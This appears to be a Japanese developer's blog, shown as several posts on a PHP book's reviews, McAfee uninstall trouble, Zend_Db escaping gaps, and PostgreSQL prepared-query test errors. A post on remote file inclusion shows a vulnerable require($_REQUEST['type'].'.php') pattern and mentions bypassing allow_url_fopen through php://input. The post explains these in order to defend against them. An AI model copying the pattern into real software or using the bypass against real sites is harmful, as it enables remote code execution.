もちろん手取り足取りのチュートリアル型の入門書を否定するつもりはありません。チュートリアルが必要・好みの方はそのタイプの入門書を購入されれば良いと思います。執筆時点でチュートリアル型のPHP入門書は多数出版されていたので多少硬派なPHP入門書(解説書)として書いてみようと思って執筆しています。このコメントにあるように既にプログラミングを知っている方に読みやすい、分かりやすいを狙っていたのも確かです。
参照渡しと値渡しの解説が初心者には不十分とあります。自分でもどう書いたのか忘れたので後で見てみることにします。リファレンスとして利用できるようになっていた方が便利なのは分かります。この点は考慮した方がよさそうです。
書名に「はじめて」と書いてあるのでプログラミング初心者向けのチュートリアル型の入門書でないと「期待と違う」と言うことになってしまうのでしょうね... この本の「はじめて」ははじめて言語としてPHPを解説した本、という意味をこめて付いているのですが誤解を招いてるのでしょう。書名は大切ですね。
あとAmazonの評価を見ると「減点方式」で評価している方が多いようです。とりあえず「満遍なく」が良いようです。「はじめてのPHP言語プログラミング」のコメントはどれも非常に参考になりました。これから執筆予定のZend Framework+Prototypeの入門書の執筆の参考にさせて頂くつもりです。
「Webアプリセキュリティ対策入門」には評価が付いていないです。このブログでもAmazonでも構わないのでご意見を頂ければ参考にさせて頂きます。
2 コメント
私自身はとっても素晴らしい書籍だと思いましたよ。(個人的には殿堂入りレベル)
「PHP言語の入門書」としては、間違いなく「はじめての」だなあ、と思いました。
感覚的にはK&Rに近い、というか。
他の言語経験者の意見だから、参考にならない? でもこのレビュアーも、他の言語経験者っぽいですが。
あと、typoが多いのは事実だと思いますが(笑)、そのほとんどは読む側が補完できるものです。日本語になってない、は失礼じゃないかなあ。
p.s. PHPカンファレンスでは途中で失礼しました。
ところでGIGOEさんは、Wikiでも「Webアプリセキュリティ入門」のページで紹介している「PHPサイバーテロの技法」の著者さんです。私も良い本と思っているのでWikiに紹介しています。
タイポは結構ありましたね!ある読者の方から詳細にレポートしていただいので増刷があれば修正できるのでが増刷なさそうですね。
コメントを残す
マカフィー製品のインストールとアンインストール
リンク: http://www.mcafee.com/Japan/mcafee/faq/howtodownload.asp
McAfeeのインターネットセキュリティスイート2006を使ってみました。この製品はマイクロソフトのみ環境でのみの利用を想定しているのか、デフォルトブラウザがFirefoxだとインストール後のダウンロードで問題が発生しました。プライバシーを保護するプログラムが中途半端な状態になり、削除もアンインストールもできない状態になりました。
# しかもこのプライバシー保護用のプログラムは重すぎです。
# 結局重すぎで使えないプログラムなのでインストールしてい
# ません。あまりにCPUを使うので最初はマルウェアのプロセス
# かと思いました。
更新用のプログラムがIE6を使うようになっているのでIEがデフォルトでなければならないようです。私のLinux/WindowsのFF1.5ではサポートページのレイアウトが崩れているのでデフォルトブラウザがIE以外に設定されているのは想定外??
更新用プログラムを今時わざわざIEのActiveXとして動作させるプログラムにしてくても...と思います。しかも「セキュリティで保護されていないコンテンツ含まれています」と毎回表示される画面もあります。
とにかく困ったのはFFがデフォルトブラウザだったせい(?)で中途半端にインストールされたので、インストールも再インストールもアンインストールできなくなったことです。マカフィーのサイトにテクニカルサポートのFAQがあるのですが、インターネットセキュリティスイート2006のインストール・アンインストールは
だけのようでした。当然ですがこのページ書いてあるようなことは既にやっています。全く役に立ちません。散々苦労してやっと
マカフィー製品を完全に削除するツール
http://www.mcafee.com/Japan/mcafee/faq/howtodownload.asp
を見つけコレで全部削除できました。一旦動作すると予告なしに勝手に再起動するので注意が必要です。再起動後にログインすると自動的に削除を再開します。セーフモードで実行すると再起動無しに全て削除できるようです。
このページの日付は2004年と日付が古いですがインターネットスイート2006でも使えるようです。きっとインターネットスイート2006ではサポート対象外なのでしょうけどFAQの分かりやすい場所に載せておいてほしいですね。マカフィー製品で困ったことになった方は上記の削除ツールを試してみると良いと思います。
2 コメント
FFとIEを共有していて、アンチウイルスソフトをマカフィーにしようかと思っていたんですが、こちらを拝見しました。
マカフィーはやめたほうがいいんでしょうかね?あまり詳しくないので、どれにしようか迷っています・・
Norton AntiVirus(NAV)に比べるとメール送信時にエラーで送れないケースが多くあり面倒だったりします。
動作的にはNAVより軽い感じです。ウィルスバスターもテストで使っている限りでは軽い感じです。
各社の製品ともセキュリティ上の問題があったり、トラブルがあったりするのでシマンテック、マカフィー、トレンドマイクロあたりは製品価格、機能、安定性もどんぐりの背比べのようだと思っています。
# マカフィーをインストールするな
# らIEをデフォルトブラウザにして
# おく事をお勧めします。
コメントを残す
Zend FrameworkのZend_Db
このブログでZend Frameworkの事はほとんど書いていませんが、セキュリティ関係のところを少しだけ書きます。
Zend Frameworkはまだまだ作りかけ、と開発元が言っているだけあって、セキュリティに関係する部分も作りかけだったりします。
例えば、mysqliアダプタは適切にエスケープ処理されていますが、Oracleアダプタのエスケープ処理は全く行われていません。DB2のアダプタの場合、''でくくられるべき所がくくられていなかったりします。
Zend Frameworkとは関係ありませんが、PostgreSQLのPDOドライバは出来が悪いので事実上PostgreSQLでZend_Dbは使えません。
# 一見使えるように見えますがメモリ管理に問題がある
# らしく、はまる可能性があります。
PHPカンファレンスで「Zend Frameworkを使っている方?」と聞かれて、手を上げたのは私の他数名だったので大丈夫とは思いますが、実際のシステムに使うにはコードをよく読んでから使わないと思わない落とし穴にはまる事になります。
秋の1.0リリースかリリース候補では修正されていると思いますが、今のところこんな感じです。
2 コメント
例えば、Zend_Db_Selectのwhere句を生成する文ですが、
$select->where('noble_title = "Sir"'); // embedded value
でもmysqliアダプタを使っている場合は期待通りに動作しますが、SQL標準に準拠してるRDBMSの文字列はダブルクオートではなくシングルクオートで括る事になっています。
この使用例はZend Frameworkのマニュアルに記載されています。正式リリースまでにはマニュアルは修正されるとは思いますが、MySQLユーザの方は気を付ける必要があります。
セッション管理にユーザセーブハンドラを使用します。セーブハンドラはPHPで記述されmemcacheモジュールを利用してローカルのmemcachedにセッション情報を保管します。ネイティブのDBアクセスクラスを利用している場合、問題無くセッション情報が保存されるのですがZendフレームワークのPostgreSQL DPO アダプタを使ってデータベースを操作したのちはスクリプト終了直前に不明なエラーがmian 0行(つまり何処か判らない。見つけるのに結構苦労..)で発生しセッションデータが保存されなかったり、リダイレクトに失敗したりします。ob_start()しているのでボディが先に送信される事は普通では考えられません。
以上の症状からPostgreSQL PDOドライバには何らかのメモリ管理問題がある可能性が高いと考えています。
PostgreSQL PDOドライバで似たような症状を経験した方、どのようなエラーが発生しているかメール下さい。もし、問題を再現可能な短いPHPスクリプトがあれば完璧です。
コメントを残す
PostgreSQLのプリペアードクエリとUnitテスト
PostgreSQLのプリペアードクエリを使ったプログラムのユニットテストを書いてユニットテストの書き方の問題に気がつきました。普通にユニットテストを書くと
relation with OID ##### does not exist
というPL/PgSQLで良く見かけるエラーが発生してしまう場合があります。
通常ユニットテストを書く場合、テストのセットアップ関数(メソッド)で
create table test (a text, i int);
テスト終了時に
drop table test;
と書きます。
プリペアードクエリの場合、コンパイルされたSQL文がバックエンドにキャッシュされるので「Web環境などで永続的な接続」を行っている環境でこの様な初期化、終了ルーチンを持つユニットテストでPostgreSQLのプリペアードクエリを実行するテストを「2回以上」行うと
relation with OID ##### does not exist
とエラーが表示されてしまいます。キャッシュされた(プリペアされた)SQL文に対応するテーブルが削除されてしまった後もクエリはキャッシュされているので削除されたの存在しないテーブルアクセスしようとしているので上記のエラーがでます。
# プリペアされたクエリは名前でなくOIDでテーブルにアクセスするので
# このエラーが発生します。
コマンドラインからのユニットテストの場合、接続の種類は影響しませんがPHPでWebサーバ上でユニットテストを実行する場合、pg_prepare, pg_execute を使ったプログラムのユニットテストにはpg_connectを使うほうが良いです。pg_connectを使っていても同じ接続を使っている間にテーブルの削除/作成を行ってもpg_pconnectを使っている場合と同じ理由でこのエラーが発生します。コマンドラインでもすべてのテストを実行するスクリプトを利用している場合は注意が必要だと思います。PL/PgSQLのエラーが何故発生するのか理解していれば直ぐに原因に気が付くと思いますが、そうでなければなかなか気が付かないかもしれません。
私も最初は何の事だか解らずググってもPL/PgSQLのエラーに関連するページが表示されていました。pg_prepare/pg_executeについては少なくとも上位には表示されなかったので書いておきます。
PostgreSQLのプリペアードクエリの実装(と言うか実際にOID参照しているもの)を詳しく調べてから書いていないので「実装と違う」という場合は是非指摘してください。
# Javaのユニットテストでこの問題が発生する、というページ
# も無かったような気がします。当り前すぎ(FAQ)だから?
# 問題を回避するもう別の方法にDEALLOCATEを使ってプリペアされた
# SQL文を削除しておく方法もあります。削除するのは面倒ですがこちら
# の方法ならどのような環境でも困らないと思います。
2 コメント
pg_qeury_params(PQexecParams)ではNULLを正しく取り扱えているのですが、pg_prepare(PQprepare)+pg_execute(PQexecPrepared)では文字列として処理してしまいます。念のためgdbで処理を確認してみてもZVALのタイプがIS_NULLの場合、PQexecPreparedに渡すパラメータにはNULLを設定しています。PQprepareのパラメータの渡し方も問題無いようです。
# PQprepareはパラメータの数・タイプを指定せずプリペアできる。
# pg_prepareはパラメータ数・タイプを指定しないようになっている。
今の環境はPostgreSQLのバージョンが古いので新しいPostgreSQLで試す必要があるようです。
どうなんでしょう?
コメントを残す
IEEEのセキュリティサイト
リンク: http://www.computer.org/portal/site/security
A Process for Performing Security Code Reviewsのような記事が公開されています。The State of Web Security等は何かプレゼンテーションを作る場合に役立ちそうです。
基本的にはブログのようになっているようです。しかし、ここの記事は時間が経つと買わないとならない(?)ようです。画面上部の"Contents"リンクをクリックすると有料コンテンツのリストが表示されます。Process for Performing Security Code Reviewsは$19だそうです。Adsenseでも何でも良いので広告を付けて無料にしてくれればありがたいのですが。# 日本語で書いていても何の効果もないでしょうけど。
フィードバックはまだありません...
コメントを残す
リモートファイルの読み込みが可能なPHPアプリ多数
PHPには
require('http://example.com/script.php');
と外部のURLからデータを読み取りローカルのスクリプトとして実行する機能があります。以下のようなスクリプトが致命的であることは以前にも書きました。
require($_REQUEST['type'].'.php');
allow_url_fopen設定で読み取りの可否を変更できるようになっているのですが、ストリームのphp://inputは制限できないので、allow_url_fopenの設定に関わらずリモートスクリプトが実行できてしまう仕組みになっています。(「php://inputによりPHPスクリプトインジェクションが可能になる」とした方がより正しいですね)
最近、この不正なリモートスクリプトの読み取り・実行が行える脆弱性を調べている方がいるらしくCVEに何十ものリモートスクリプト実行脆弱性のエントリが作られています。見かけた事があるアプリケーション名にはmanbo、horde等があります。当たり前ですが利用中しているアプリのリリース情報はこまめに調べないと危ないです。
# しかし、こんなにたくさんリモートファイル実行
# に脆弱なアプリが在るとは....
# shopなんとかとか、cartなんとか、と明らか(?)に
# EC系のアプリにも問題が多く在るようです....
とは言っても
Successful exploitation requires that "register_globals" is enabled.
となっている物も多いようです。共有サーバなどではregister_globals=onのサイトもまだまだ多いでのしょう。スクリプトを公開する場合、
if (ini_get('register_globals')) {
die('Turn off register_globals for security reasons');
}
などを必ず入れておいた方が良いようです。
5 コメント
いつもありがとうございます。修正しました。
こちらこそいつも有用な情報をありがとうございます。
Zen−Cartではすぐに対策が施されたようです。
http://www.zen-cart.com/forum/showthread.php?t=43579
コメントを残す
やはり難しいのかも?!
タイトルどおり「書かない日記」なっているので久しぶりに書きます。
先日のPHPカンファレンスで私のセッションを聞かれた方は「一応、問題はレポートしてあります」と話していた件、と言えば覚えていらっしゃると思います。この件、返信メールが来ていました。他のシングルバイト圏の方と話したときと同じかなと思いました。「これって問題なの?」と言う内容のメールでした。とりあえず「コミットしておいてください」と返信しておきましたがどうなることやら... 日本の開発者でも最初は「??」と思われる方も多いので仕方無いのでしょう。
PHPカンファレンスの私のセッションのプレゼンテーションファイルをご希望の方、メールをください。このプレゼンテーションファイルは個人的に使うか出所が分からないように一部のみ使って頂けるようお願いします。





